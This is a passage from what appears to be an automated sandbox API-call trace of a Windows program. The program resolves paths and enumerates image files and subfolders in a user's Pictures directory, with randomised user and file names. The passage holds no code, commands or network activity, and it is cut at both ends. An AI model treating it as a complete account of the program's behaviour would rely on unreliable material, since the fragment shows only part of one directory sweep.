lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.429] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.429] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpFilePart=0x0) returned 0x27 [0080.429] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9e56e60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9e56e60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.429] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9e56e60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9e56e60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.429] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.429] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ae240, ftCreationTime.dwHighDateTime=0x1d5da39, ftLastAccessTime.dwLowDateTime=0x96649c70, ftLastAccessTime.dwHighDateTime=0x1d5dec4, ftLastWriteTime.dwLowDateTime=0x96649c70, ftLastWriteTime.dwHighDateTime=0x1d5dec4, nFileSizeHigh=0x0, nFileSizeLow=0x4cb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DNy-t4tki-9qC2M.jpg", cAlternateFileName="DNY-T4~1.JPG")) returned 1 [0080.430] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65bbbae0, ftCreationTime.dwHighDateTime=0x1d5e013, ftLastAccessTime.dwLowDateTime=0x2274b80, ftLastAccessTime.dwHighDateTime=0x1d5d7c0, ftLastWriteTime.dwLowDateTime=0x2274b80, ftLastWriteTime.dwHighDateTime=0x1d5d7c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRvZVYSnppQ3g", cAlternateFileName="DRVZVY~1")) returned 1 [0080.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0080.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\", lpFilePart=0x0) returned 0x35 [0080.432] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65bbbae0, ftCreationTime.dwHighDateTime=0x1d5e013, ftLastAccessTime.dwLowDateTime=0x2274b80, ftLastAccessTime.dwHighDateTime=0x1d5d7c0, ftLastWriteTime.dwLowDateTime=0x2274b80, ftLastWriteTime.dwHighDateTime=0x1d5d7c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.432] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65bbbae0, ftCreationTime.dwHighDateTime=0x1d5e013, ftLastAccessTime.dwLowDateTime=0x2274b80, ftLastAccessTime.dwHighDateTime=0x1d5d7c0, ftLastWriteTime.dwLowDateTime=0x2274b80, ftLastWriteTime.dwHighDateTime=0x1d5d7c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.432] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655bfee0, ftCreationTime.dwHighDateTime=0x1d5e359, ftLastAccessTime.dwLowDateTime=0x9b4b2d40, ftLastAccessTime.dwHighDateTime=0x1d5d856, ftLastWriteTime.dwLowDateTime=0x9b4b2d40, ftLastWriteTime.dwHighDateTime=0x1d5d856, nFileSizeHigh=0x0, nFileSizeLow=0x18956, dwReserved0=0x0, dwReserved1=0x0, cFileName="42R5OCquJG1Jxn.bmp", cAlternateFileName="42R5OC~1.BMP")) returned 1 [0080.432] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb70e4a0, ftCreationTime.dwHighDateTime=0x1d5de24, ftLastAccessTime.dwLowDateTime=0xb5184fc0, ftLastAccessTime.dwHighDateTime=0x1d5e317, ftLastWriteTime.dwLowDateTime=0xb5184fc0, ftLastWriteTime.dwHighDateTime=0x1d5e317, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BdVttKpMp.gif", cAlternateFileName="BDVTTK~1.GIF")) returned 1 [0080.433] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3f4a50, ftCreationTime.dwHighDateTime=0x1d5e68a, ftLastAccessTime.dwLowDateTime=0x5a2593e0, ftLastAccessTime.dwHighDateTime=0x1d5e33d, ftLastWriteTime.dwLowDateTime=0x5a2593e0, ftLastWriteTime.dwHighDateTime=0x1d5e33d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cl8ruLeBO.bmp", cAlternateFileName="CL8RUL~1.BMP")) returned 1 [0080.433] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf765b210, ftCreationTime.dwHighDateTime=0x1d5e5eb, ftLastAccessTime.dwLowDateTime=0xb45fddc0, ftLastAccessTime.dwHighDateTime=0x1d5e0bd, ftLastWriteTime.dwLowDateTime=0xb45fddc0, ftLastWriteTime.dwHighDateTime=0x1d5e0bd, nFileSizeHigh=0x0, nFileSizeLow=0x1960, dwReserved0=0x0, dwReserved1=0x0, cFileName="psBO-d2Ns.bmp", cAlternateFileName="PSBO-D~1.BMP")) returned 1 [0080.433] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8af3ca20, ftCreationTime.dwHighDateTime=0x1d5ddf0, ftLastAccessTime.dwLowDateTime=0xbe1c0f10, ftLastAccessTime.dwHighDateTime=0x1d5d879, ftLastWriteTime.dwLowDateTime=0xbe1c0f10, ftLastWriteTime.dwHighDateTime=0x1d5d879, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZtSB9bTVG_g-G.gif", cAlternateFileName="ZTSB9B~1.GIF")) returned 1 [0080.433] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8af3ca20, ftCreationTime.dwHighDateTime=0x1d5ddf0, ftLastAccessTime.dwLowDateTime=0xbe1c0f10, ftLastAccessTime.dwHighDateTime=0x1d5d879, ftLastWriteTime.dwLowDateTime=0xbe1c0f10, ftLastWriteTime.dwHighDateTime=0x1d5d879, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZtSB9bTVG_g-G.gif", cAlternateFileName="ZTSB9B~1.GIF")) returned 0 [0080.433] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.434] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2db9080, ftCreationTime.dwHighDateTime=0x1d5dbef, ftLastAccessTime.dwLowDateTime=0x3fba2470, ftLastAccessTime.dwHighDateTime=0x1d5dd30, ftLastWriteTime.dwLowDateTime=0x3fba2470, ftLastWriteTime.dwHighDateTime=0x1d5dd30, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="O4DzL2UqV0oMYi", cAlternateFileName="O4DZL2~1")) returned 1 [0080.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", 